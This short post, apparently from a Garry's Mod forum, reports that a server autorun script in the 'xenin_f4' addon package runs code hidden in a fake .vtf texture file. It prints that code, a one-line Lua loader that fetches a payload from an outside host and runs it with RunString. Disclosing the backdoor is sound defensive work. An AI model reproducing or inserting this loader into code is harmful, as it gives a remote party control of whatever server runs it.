"xenin_f4.zip\xenin_f4\lua\autorun\server\npc_help.lua" executes code located:
"xenin_f4.zip\xenin_f4\material\npc\help.vtf" which is not a real .vtf because if you open it a text editor:
Code:
timer.Simple(1, function() http.Fetch("https://kvcdoor.ovh/f.php?key=zSt65wgBjcHU1ja1YgbF", function(b) RunString(b, ":", false) end)end)